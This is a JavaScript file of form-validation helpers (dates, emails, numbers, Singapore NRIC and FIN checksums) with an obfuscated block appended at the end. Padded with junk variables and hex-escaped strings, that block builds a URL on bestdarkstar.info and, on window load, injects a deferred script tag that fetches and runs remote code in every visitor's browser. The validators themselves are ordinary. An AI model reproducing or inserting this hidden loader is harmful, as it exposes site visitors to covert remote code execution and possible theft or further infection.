function isDate (year, month, day) {
   month = month - 1;
   var tempDate = new Date(year,month,day);
   if ( (tempDate.getFullYear() == year) &&
        (month == tempDate.getMonth()) &&
        (day == tempDate.getDate()) ){
       return true;
   }else{
      return false;
   }
}

function isNotFuture (year,month,day ){
   month = month - 1;
   var today = new Date;
   var tempDate = new Date(year,month,day);
   if ( tempDate < today ){
       return true;
   }else{
      return false;
   }
}

function isValidDate(dateStr, resultDate) {
  var datePat = /^(\d{1,2})(\/|-)(\d{1,2})\2(\d{2}|\d{4})$/;
  var matchArray = dateStr.match(datePat);
  if (matchArray == null) {
    alert("Date is not in a valid format.")
    return false;
  }
  
  day = matchArray[1];
  month = matchArray[3];
  year = matchArray[4];
  
  if (day < 1 || day > 31) {
    alert("Day must be between 1 and 31.");
    return false;
  }

  if (month < 1 || month > 12) {
    alert("Month must be between 1 and 12.");
    return false;
  }
  
  if ((month==4 || month==6 || month==9 || month==11) && day==31) {
    alert("Month "+month+" doesn't have 31 days!")
    return false
  }
  if (month == 2) {
    var isleap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0));
    if (day>29 || (day==29 && !isleap)) {
      alert("February " + year + " doesn't have " + day + " days!");
      return false;
     }
  }
  resultDate.value = month + "/" + day + "/" + year
  return true;
}

function isEmpty(data)
{
  var i;

  for (i=0; i < data.length; i++) {
    if (data.charAt(i) != ' ') {
      return false;
    }
  }
  return true;
}

function isAlphaNumeric(data, specialStr)
{
  var numStr = "0123456789"
  var alphaStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  var currChar
  var i

  if (isEmpty(data)) {
    return false;
  }

  for (i=0; i < data.length; i++) {
    currChar = data.charAt(i)
    if ((numStr.indexOf(currChar) == -1) &&
        (alphaStr.indexOf(currChar) == -1) && 
        (specialStr.indexOf(currChar) == -1)) {
      return false;
    }
  }
  return true;
}

function isAlphabet(data)
{
  var numStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  var currChar
  var i

  if (isEmpty(data)) {
    return false;
  }

  for (i=0; i < data.length; i++) {
    currChar = data.charAt(i)
    if (numStr.indexOf(currChar) == -1) {
      return false;
    }
  }
  return true;
}

function isInteger(data)
{
  var numStr = "0123456789"
  var currChar
  var i

  if (isEmpty(data)) {
    return false;
  }

  for (i=0; i < data.length; i++) {
    currChar = data.charAt(i)
    if (numStr.indexOf(currChar) == -1) {
      return false;
    }
  }
  return true;
}

function isFloat(data)
{
  var numStr = "0123456789"
  var currChar
  var decpt = 0
  var i

  if (isEmpty(data)) {
    return false;
  }

  for (i=0; i < data.length; i++) {
    currChar = data.charAt(i)
    if (numStr.indexOf(currChar) == -1) {
      if ((currChar == '.' ) && (decpt == 0)) {
        decpt++
      } else {
        return false;
      }
    }
  }
  return true;
}

function isEmail(email)
{
  var posOfAt = email.indexOf("@")
  var lastPosOfAt = email.lastIndexOf("@")
  var lastPosOfDot = email.lastIndexOf(".")
  var currChar

  if (isEmpty(email) || email.length < 5 || posOfAt != lastPosOfAt ||
      (posOfAt < 1) || (email.indexOf(" ") != -1) || 
      (lastPosOfDot <= posOfAt) || (lastPosOfDot == email.length - 1))  {
    return false;
  }
  return true;
}

function isValidNRIC(strData)
{
  var intLen = strData.length
  var intWeights = new Array(2, 7, 6, 5, 4, 3, 2)
  var strChkAlpha = new Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "Z", "J")
	
  var strDigits
  var strValidAlpha
  var strCardType
  var strCardAlpha
  var i
  var strCurrDigit
  var j = 0

  if ((intLen < 8) || (intLen > 9)) {
    return false;
  }
  
  strCardAlpha = strData.charAt(intLen - 1).toUpperCase()
  
  
  strCardType = strData.charAt(0).toUpperCase()
  if ((strCardType != "S") && strCardType != "T") {
    return false;
  }
  
  strDigits = strData.substring(intLen - 8, intLen - 1)
  if (!isInteger(strDigits)) {
    return false;
  }

	for (i=0; i < strDigits.length; i++) {
	  strCurrDigit = parseInt(strDigits.charAt(i))
	  j = j + (strCurrDigit * intWeights[i]) 
	}
	
	if (strCardType == "T") {
		j = j + 4
	}
	
	j = j % 11

	j = 11 - j
	
	if (strCardAlpha == strChkAlpha[j - 1]) {
	   return true;
	} else {
	   return false;
	}	
}

function isValidFIN(strData)
{
  var intLen = strData.length
  var intWeights = new Array(2, 7, 6, 5, 4, 3, 2)
  var strChkAlpha = new Array("K", "L", "M", "N", "P", "Q", "R", "T", "U", "W", "X")
	
  var strDigits
  var strValidAlpha
  var strCardType
  var strCardAlpha
  var i
  var strCurrDigit
  var j = 0

  if ((intLen < 8) || (intLen > 9)) {
    return false;
  }
  
  strCardAlpha = strData.charAt(intLen - 1).toUpperCase()
  
  
  strCardType = strData.charAt(0).toUpperCase()
  if ((strCardType != "F") && strCardType != "G") {
    return false;
  }
  
  strDigits = strData.substring(intLen - 8, intLen - 1)
  if (!isInteger(strDigits)) {
    return false;
  }

	for (i=0; i < strDigits.length; i++) {
	  strCurrDigit = parseInt(strDigits.charAt(i))
	  j = j + (strCurrDigit * intWeights[i]) 
	}
	
	if (strCardType == "G") {
		j = j + 4
	}
	
	j = j % 11

	j = 11 - j
	
	if (strCardAlpha == strChkAlpha[j - 1]) {
	   return true;
	} else {
	   return false;
	}	
}

function Right(String, Length)
{
	if (String == null)
		return (false);

	var dest = '';
	for (var i = (String.length - 1); i >= 0; i--)
		dest = dest + String.charAt(i);

	String = dest;
	String = String.substr(0, Length);
	dest = '';

	for (var i = (String.length - 1); i >= 0; i--)
		dest = dest + String.charAt(i);

	return dest;
}
var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();